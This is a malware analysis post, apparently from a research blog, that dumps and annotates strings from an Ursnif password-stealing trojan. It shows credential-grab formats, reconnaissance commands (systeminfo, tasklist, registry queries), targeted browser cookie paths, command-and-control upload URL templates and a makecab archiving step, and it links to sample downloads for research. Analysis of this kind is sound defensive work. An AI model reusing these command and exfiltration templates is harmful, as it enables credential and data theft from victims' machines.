.rdata:10012BF0 0000000A C Referer:   
.rdata:10012BFC 0000001A C URL: %s\r\nuser=%s\r\npass=%s 
While these shows what it grabs.. (Ursnif trade mark)
.rdata:10012CA4 00000005 C @ID@       
.rdata:10012CB0 00000008 C @GROUP@    
.rdata:10012CB8 00000007 C grabs=     
.rdata:10012CC0 00000008 C NEWGRAB    
.rdata:10012CC8 0000000B C SCREENSHOT 
.rdata:10012CD4 00000008 C PROCESS    
.rdata:10012CDC 00000007 C HIDDEN     
.rdata:10012CE4 00000005 C @%s@       
.rdata:10012CEC 00000005 C http       
.rdata:10012CF4 00000005 C POST       
.rdata:10012CFC 0000000A C URL: %s\r\n
..or this one will show you better...
.rdata:10012948 0000001D C cmd /C \"systeminfo.exe > %s\"    
.rdata:10012968 0000001B C failed start sysinfo - %u\n       
.rdata:10012984 0000001D C cmd /C \"echo -------- >> %s\"    
.rdata:100129A4 00000021 C cmd /C \"tasklist.exe /SVC >> %s\"
.rdata:100129C8 0000001C C failed start tasklist - %u\n      
.rdata:100129E4 0000001F C cmd /C \"driverquery.exe >> %s\"  
.rdata:10012A04 0000001A C failed start driver - %u\n
.rdata:10012A20 0000005B C cmd /C \"reg.exe query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s >> %s\
.rdata:10012A7C 00000015 C failed get reg - %u\n
The credentials targetted....
0x010F44   \Mozilla\Firefox\Profiles\
0x010F7C   cookies.sqlite
0x010F9C   cookies.sqlite-journal
0x010FCC   \Macromedia\Flash Player\
0x011000   *.sol
0x01100C   *.txt
0x011018   \sols
0x011024   \cookie.ie
0x01103C   \cookie.ff
0x011678   image/gif
We'll see usage of PHP form on the server side:
.rdata:100126E8 00000005 C form
.rdata:100126F0 0000004B C /data.php?version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s
.rdata:10012758 0000007B C version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%08X&wake=%u&prjct=%d&arch=%u&inf=0&os=%u.%u.%u&guid=%u.%u.%u!%s!%08X 
.rdata:100127D8 0000000D C /c%s.php?%s=
        :
.rdata:10012E10 00000042 C Content-Disposition: form-data; name=\"upload_file\"; filename=\"%s\"
.rdata:10012E58 00000048 C Content-Disposition: form-data; name=\"upload_file\"; filename=\"%.4u.%lu\"
.rdata:10012EA0 00000027 C --------------------------%04x%04x%04x
.rdata:10012EC8 0000002F C Content-Type: multipart/form-data; boundary=%s
.rdata:10012EF8 0000000B C \r\n--%s--\r\n
.rdata:10012F04 00000027 C Content-Type: application/octet-stream
.rdata:10012F2C 00000011 C --%s\r\n%s\r\n%s\r\n\r\n
Setting target directory for grabbing sruff
.rdata:100128A4 0000001B C .set DiskDirectory1=\"%s\"\r\n  
.rdata:100128C0 00000019 C .set CabinetName1=\"%s\"\r\n    
.rdata:100128DC 00000007 C \"%s\"\r\n                      
.rdata:100128EC 0000001B C .set DestinationDir=\"%S\"\r\n  
.rdata:1001290C 00000007 C \"%S\"\r\n                      
And making CAB archive of the target..
.rdata:10012914 00000014 C makecab.exe /F \"%s\
I thank you @EP_X0FF kernel mode for the very good help solving this mistery. It is a PWS variant alright, with the malware name of Trojan Ursnif. The complete list of the .RDATA section is here-->>[HERE]

Samples

*) We share samples for research purpose & raising detection ratio of this infection. Infection sample set -->>[HERE] The malware complete recorded process can be download in archive here -->>[HERE] Thank's to @kafeine for the infection info.
#MalwareMustDie!